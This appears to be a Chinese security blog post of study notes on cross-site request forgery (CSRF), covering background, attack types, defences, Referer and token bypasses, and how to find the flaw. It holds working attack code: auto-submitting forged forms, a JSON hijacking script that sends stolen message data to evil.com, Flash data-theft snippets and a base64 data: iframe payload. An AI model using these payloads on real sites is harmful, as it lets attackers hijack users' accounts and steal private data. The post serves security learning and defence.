No title

0x00 前言

CSRF,即跨站请求伪造

OWASP于2007年将CSRF归类进 OWASP TOP 10安全风险中,虽然年代久远,但是还是值得学习

本学习笔记,大量参考自网络上各位大佬总结好的,再加上自己的心得总结而成,用途仅用于安全技术学习.文末注明参考资料,侵删.

0x01 基础知识

cookie分为内存cookie和本地cookie

内存cookie

指的是没有设置有效时间的Cookie,默认的情况下只要关闭了浏览器,Cookie也会被销毁。(Cookie存在于浏览器的内存中,当关闭了浏览器Cookie就销毁了)。

本地cookie

指的是有有效时间的Cookie,这种Cookie的内容不是保存在浏览器的内存中,将Cookie的内容保存(持久化)到硬盘上。这个时候,关闭浏览器,再次打开浏览器会加载硬盘上的文件,从而Cookie中的数据就不会丢失。

JSON

JSON学习

JSON是JavaScript Object Notation(对象表示方法)的缩写,它是一种数据交换格式并且是超轻量级的数据交换格式。JSON具有自我描述性,更易理解.JSON并非编程语言

JSON数据类型

  • number:和JavaScript的number完全一致;
  • boolean:就是JavaScript的truefalse
  • string:就是JavaScript的string
  • null:就是JavaScript的null
  • array:就是JavaScript的Array表示方式——[]
  • object:就是JavaScript的{ ... }表示方式。

以上的数据类型可以任意组合,此外JSON规定了字符集必须是UTF-8,并且字符串规定必须使用双引号” “,Object的键也必须使用双引号

把任何JavaScript对象变成JSON,就是把这个对象序列化成一个JSON格式的字符串,这样才能够通过网络传递给其他计算机。

如果我们收到一个JSON格式的字符串,只需要把它反序列化成一个JavaScript对象,就可以在JavaScript中直接使用这个对象了。

基本语法

  • 数据使用名/值对表示。
  • 使用大括号保存对象,每个名称后面跟着一个 ‘:’(冒号),名/值对使用 ,(逗号)分割。
  • 使用方括号保存数组,数组值使用 ,(逗号)分割。

JSON对象是在花括号{}中的,JSON数组是在[]中的

1
var json-object-name = { string : number_value, .......}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"book": [
{
"id":"01",
"language": "Java",
"edition": "third",
"author": "Herbert Schildt"
},
{
"id":"07",
"language": "C++",
"edition": "second",
"author": "E.Balagurusamy"
}]
}

JSON字典格式)

1
2
3
4
5
6
7
8
9
{

"id":1,

"name": "IFONLY",

"email":"[email protected]"

}

列表模式)

[“foo”,”xoo”,”coo”]

Ajax

Ajax学习

Ajax 简介

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。

AJAX 不是新的编程语言,而是一种使用现有标准的新方法。

AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下

在 2005 年,Google 通过其 Google Suggest 使 AJAX 变得流行起来。

Google Suggest 使用 AJAX 创造出动态性极强的 web 界面:当您在谷歌的搜索框输入关键字时,JavaScript 会把这些字符发送到服务器,然后服务器会返回一个搜索建议的列表。

Ajax XHR

1.创建XMLHttpRequest 对象

1
variable = new XMLHttpRequest();

2.向服务器发送请求

使用XMLHttpRequest 对象的 open()和 send() 方法

1
2
xmlhttp.open("GET","shell.php",true);
xmlhttp.send();

open(method,url,async) ,规定请求的类型,URL以及是否异步处理请求

  • method: 请求的类型;GET/POST
  • url: 文件在服务器上的位置
  • async: true(异步)/false(同步)

GET请求与POST请求相比,GET简单快速,并且在大部分情况下都能用

但是在下面的情况必须使用POST请求

  • 无法使用缓存文件
  • 向服务器发送大量数据,POST没数据限制
  • 发送包含位置字符的用户输入,POST更稳定可靠

使用GET方法发送信息,就在URL 中添加信息

像HTML表单那样POST数据,使用setRequestHeader()来添加HTTP头,并在send()方法中规定发送的数据,举个例子

1
2
3
xmlhttp.open("POST","shell.asp",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("fname=IF&lname=ONLY");

open()方法的url参数是服务器上文件的地址,该文件是任何类型的文件,比如.txt .xml .php .asp(在传回响应之前,能够在服务器上执行任务)

XMLHttpRequest对象如果要用AJAX,其中open()方法的async参数必须设置为true

3.服务器响应

使用XMLHttpRequest对象responseText/responeseXML属性

如果服务器的响应不是XML,就使用responseText属性,该属性以字符串的形式返回

1
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;

当readyState等于4 且状态为 200时,表示响应已就绪

callback函数

callback 函数是一种以参数形式传递给另一个函数的函数。

Ox02 什么是CSRF

CSRF(Cross-site request forgery)是 跨站请求伪造,这个漏洞容易与XSS漏洞混淆.CSRF攻击的发生是由各种请求造成的,对于CSRF来说,该请求有两个关键点:

  • 跨站点的请求
  • 请求是伪造的

攻击者盗用了合法用户的身份,以合法用户的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的操作,比如以合法用户的名义发送邮件、发消息,添加系统管理员,甚至于购买商品、虚拟货币转账等。

CSRF攻击流程

受害者登录a.com,并保留了登录凭证(Cookie)。

攻击者引诱受害者访问了b.com。

b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会默认携带a.com的Cookie。

a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。

a.com以受害者的名义执行了act=xx。

攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作。

比如删除文章 www.a.com/blog/del?id=1

如何欺骗

  • 利用AJAX跨域时带上目标域的会话
  • 用代码
1
<img src=http://www.a.com/blog/del?id=1 />
  • www.b.com 编写一个CSRF页面,欺骗已经登录a网站的用户访问有CSRF的页面

攻击过程有三个关键点

  • 跨域发出GET请求
  • 可以无javascript参与
  • 请求是身份认证后的

0x03 CSRF类型

GET型 CSRF

GET型的CSRF就是刚开始举的那个例子

GET型的CSRF HTTP请求头中,除了请求来源Referer值不一样外,其他都一样,尤其是cookie

POST型 CSRF

比如网站A的”写文章”功能,这是一个提交表单的操作,就会发起POST请求.这个POST请求可以从网站b发出,通过javascript自动生成一份表单,表单的action地址指向目标网站a的”写文章”表单提交地址

代码举例(by 余玄)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<body></body>
<script>
function new_form(){// 创建表单函数
var f =document.createElement("form");
document.body.appendChild(f);
f.method = "POST";
return f;
}
function create_elements(eForm,eName,eValue){
// 创建表单项函数,eForm: 表单对象,eName: 表单项,eValue: 表单项值
var e = document.createElement("input");
eForm.appendChild(e);
e.type = 'text';
e.name = eName;
if(!document.all){e.style.dispaly = 'none';}else{
e.style.dispaly = 'block';
e.style.width = '0px';
e.style.height = '0px';
}// 兼容浏览器的隐藏设置,目的是让表单看不见
e.value = eValue;
return e;
}
var _f = new_form(); //创建表单对象
create_elements(_f,"title","hi"); //创建表单项: title=hi
create_elements(_f,"content","csrf_here"); //创建表单项: content=csrf_here
_f.action = "http://www.a.com/blog/add"; //设置表单action提交地址为目标网站a的/blog/add页面
_f.submit(); //自动提交
</script>

构造完成后,当a网站的用户被欺骗访问恶意网站b的这个页面时,一个跨域的伪造的POST表单请求就发出了.

并且携带了a网站用户的cookie

HTML CSRF

这一类是最普遍的CSRF攻击,能够发起这些请求的HTML元素有:

  • <link href="">
  • <img src="">
  • <img lowsrc="">
  • <img dynsrc="">
  • <meta http-equiv="refresh" conten="0;url=">
  • <iframe src="">
  • <frame src="">
  • <script src="">
  • <bgsound src="">
  • <embed src="">
  • <video src="">
  • <audio src="">
  • <a href="">
  • <table background="">

CSS样式中的:

1
2
3
@import ""

background:url("")

..

还有通过javascript动态生成的标签对象或CSS对象发起的GET请求,而发起POST请求智能通过form提交方式

JSON HiJacking

这种攻击的过程是CSRF,不过是对AJAX响应中最常见的JSON数据类型进行的劫持攻击

正如前面提到的 callback函数是可以自定义的,自定义一个JSON Hijacking页面,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
function hijack(0){ // 自定义的劫持函数
var i = 0;
var data = '';
for (i;i<3;i++){
// alert(o[i].text);
data += o[i].sender_id;
}
alert(data);
new Image().src = "http://www.evil.com/JSONHijacking.php?hi=" + escape(data); //将获取到的隐私睡觉上传到攻击者服务器上
}
</script>
<script src=http://api.a.com/private_messages/inbox.json?callback=hijack&count=3>
</script> // api调用中使用的callback函数为hijack

当登录a网站的用户被欺骗访问这个页面时,隐私就会被窃取

Flash CSRF

跨域获取隐私数据

网站根目录下的 crossdomain.xml文件 可以看到一些配置属性

其中 allow-access-from domain=”*” 表示允许任何域的Flash请求本域的资源,这样是非常危险的,如果用户登录目标网站,被欺骗访问包含恶意Flash的网页时,隐私数据就可能被窃取

恶意Flash的ActionScript 脚本(by 余玄)

1
2
3
4
5
6
7
8
import flash.net.*;
// 请求隐私数据所在的页面
var loader = new URLLoader(new URLRequest("http://www.foo.com/private"));
loader.addEventListener(Event.COMPLETE,function(){ //当请求完成后
loader.date; //将获取到的隐私数据
// 更多操作
});
loader.load(); //发起请求

跨域提交数据操作

这个就不需要crossdomain.xml 的跨域访问策略了,因为跨域发起的GET/POST请求对于浏览器本身就是合法的,在Flash中也是

一般情况下,都是通过构造”HTML CSRF”

1
2
3
4
<form action="http://t.xxx.com/article/update" method="POST">
<input type="hidden" name="status" value="html_csrf_here." />
</form>
<script>document.forms[0].submit();</script>

用户访问后,就会有JSON文件返回,并且提示下载,这样就会暴露,使用Flash来进行这个过程会更加隐蔽

1
2
3
4
5
6
7
8
9
10
import flash.net.URLRequest;
function post(msg){
var url = new URLRequest("http://t.xxx.com/article/update");
var _v = new URLVariables();
_v = "status" = "+msg";
url.method = "POST";
url.data = _v;
sendToURL(url); //发送
}
post('flash_csrf_here');

CSRF 蠕虫

在CSRF的攻击页面上嵌入蠕虫传播的攻击向量,蠕虫传播要面向不同的用户生成不同的请求。之前的攻击可预测所有的参数,现在必须想办法标识不同用户的数据。
1)服务端脚本获取
准备一个php,asp页面,可以检测Referer字段读取url中的用户id等。
2)JSON劫持
如果网站提供了这样的数据接口,可以用来获取敏感信息

0x04 CSRF防御

验证HTTP Referer字段

根据HTTP协议,在HTTP头中有一个Referer字段,它记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如需要访问http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用户必须先登陆bank.example,然后通过点击页面上的按钮来触发转账事件。这时,该转帐请求的Referer值就会是转账按钮所在的页面的URL,通常是以 bank.example域名开头的地址。而如果黑客要对银行网站实施CSRF攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的Referer是指向黑客自己的网站。因此,要防御 CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值,如果是以bank.example开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果Referer是其他网站的话,则有可能是黑客的CSRF攻击,拒绝该请求。

但是这种方法也不够安全,原因如下

  • Referer值存在可以伪造的问题
  • 有些用户为了保护自己隐私,设置浏览器访问页面时不提供Referer值

在请求地址中添加token并验证

token可以在用户登陆后产生并放于session之中,然后在每次请求时把token从session中拿出,与请求中的token进行比对,但这种方法的难点在于如何把token以参数的形式加入请求。对于GET请求,token将附在请求地址之后,这样URL就变成http://url?csrftoken=tokenvalue。而对于POST请求来说,要在form的最后加上<input type="hidden" name="csrftoken" value="tokenvalue"/>,这样就把token以参数的形式加入请求了

该方法还有一个缺点是难以保证token本身的安全

在HTTP头中自定义属性并验证

这种方法也是使用token并进行验证,和上一种方法不同的是,这里并不是把token以参数的形式置于HTTP请求之中,而是把它放到 HTTP 头中自定义的属性里。通过XML HTTP Request这个类,可以一次性给所有该类请求加上csrftoken这个HTTP头属性,并把token值放入其中。这样解决了上种方法在请求中加入token的不便,同时,通过XML HTTP Request请求的地址不会被记录到浏览器的地址栏,也不用担心token会透过Referer泄露到其他网站中去。

局限性很大

CSRF-Token

CSRF攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于Cookie中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来通过安全验证。

怎么防止跨站攻击:

表单:在 Form 表单中添加一个隐藏的的字段,值是 csrf_token。

非表单:在ajax获取数据时,添加headers:{ ‘X-CSRFToken’:getCookie(‘csrf_token’) }。

原理:在浏览器访问网站A时,网站A设置cookie会增加随机值csrf_token,这个值是随机的。返回给浏览器时,cookie会储存在浏览器,同时会把csrf_token传给表单里面的隐藏字段。所以当浏览器用自己的表单时会自带csrf_token,网站A取到这个值和cookie里的csrf_token一致就通过。而网站B里面的表单没有这个值,所以不能通过,这样就阻止了恶意攻击。非表单也是这样的原理。

使用验证码

1)每次的用户提交都需要用户在表单中填写一个图片上的随机字符串

2)服务端核对令牌

0x05 CSRF绕过

绕过Referer

Refere为空条件下

解决方案:

利用ftp://,http://,https://,file://,javascript:,data:这个时候浏览器地址栏是file://开头的,如果这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。

例:

利用data:协议

1
2
3
4
5
<html>
<body>
<iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
</body>
</html>

bese64编码 解码即可看到代码

利用https协议 https向http跳转的时候Referer为空

拿一个https的webshell

  <iframe src="https://xxxxx.xxxxx/attack.php">

attack.php写上CSRF攻击代码

判断Referer是某域情况下绕过

比如你找的csrf是xxx.com 验证的referer是验证的*.xx.com 可以找个二级域名 之后<img “csrf地址”> 之后在把文章地址发出去 就可以伪造。

判断Referer是否存在某关键词

referer判断存在不存在google.com这个关键词

在网站新建一个google.com目录 把CSRF存放在google.com目录,即可绕过

判断referer是否有某域名

判断了Referer开头是否以126.com以及126子域名 不验证根域名为126.com 那么我这里可以构造子域名x.126.com.xxx.com作为蠕虫传播的载体服务器,即可绕过。

移除referer字段

和发送一个空token值相同,有时候你只需简单地移除referer字段就可以绕过CSRF防御。你可以添加如下meta标签到存在漏洞的页面。

1
<meta name =“referrer”content =“no-referrer”>

应用程序可能只是在发送后才会验证,这种情况下你可以绕过其CSRF防御。

点击劫持

在同一个功能端点利用点击劫持会绕过所有CSRF防御。因为从技术上讲,请求确实来自合法站点,如果易受攻击的端点所在页面容易遭受点击劫持攻击,那么所有的CSRF保护将变得没有效果,攻击者可以任意执行CSRF攻击。

更改请求方法

如果要伪造的敏感请求是通过POST方法发送的,那么尝试将其转换为GET请求。如果操作时通过GET方法发送的,那么尝试转换为POST方法。应用程序可能仍然执行操作,且通常没有任何保护机制。

删除token参数或发送空token

不发送token也可以正常请求数据是因为这种逻辑错误在应用程序中非常常见:应用程序有时会在token存在的时候或者token参数不为空的时候检查token的有效性。这种情况下,如果一个请求不包含token或者token值为空,那么也是有可能绕过CSRF的防御的。

例如,合法请求如下

1
2
3
POST /change_password
POST body:
new_password=qwerty &csrf_tok=871caef0757a4ac9691aceb9aad8b65b

那么实施这种请求:

1
2
3
POST /change_password
POST body:
new_password=qwerty

或这种:

1
2
3
POST /change_password
POST body:
new_password=qwerty&csrf_tok=

使用另一个session的CSRF token

应用程序可能只是检查token是否合法,但是不检查token是否确实归属于当前用户。如果是这种情况的话,你可以在payload中硬编码一个合法有效的token即可。

Session固定

有时候站点使用一个双提交cookie作为一个CSRF的防御措施。这个表明这个请求需要包含一个cookie,其值为随机token值,且同时在请求参数中也有一个字段值为该随机token值。如果值相同,那么请求是合法的。这种防御形式是非常常见的。

第一步,你使用一个session固定技术去确认受害者的浏览器使用的是你提供的包含假token的session,然后第二步在参数中使用同一个token来执行这个CSRF攻击。

0x06 CSRF漏洞挖掘

一般来说,挖掘CSRF,只需要找到漏洞存在就可以了,不需要用构造的Payload去攻击用户。

最简单的就是看有没有csrf-token验证,如果没有那么都是可能存在csrf漏洞的

就是存在token 也要注意这个token是不是随机的,还是伪随机的.

然后就是关于Referer的检测以及上面的那些绕过技巧

brupsuite中带有CSRF PoC这个功能(Burpsuit里边右键->Engagement Tools->Generate CSRF POC) ,可以将其好好利用,来进行CSRF漏洞的测试

漏洞常见触发点

电商类的

添加购物车、添加收货地址、删除收货地址等

用户个人信息修改等

自动化检测工具,待整理

0x07 总结

每一个漏洞,都会造成或多或少的危害,关于CSRF漏洞,先总结这么多. 其中对于CSRF挖掘和绕过这块是收获最大的部分,总结完了之后才发现CSRF原来也是要分类型的.当然关于这漏洞还有很多东西,比如CSRF打内网等

后面都会继续补充

0x08 参考资料

“Knowing is not enough, we must apply. Willing is not enough, we must do.”

Author: m0nk3y
Link: https://hack-for.fun/c73f.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.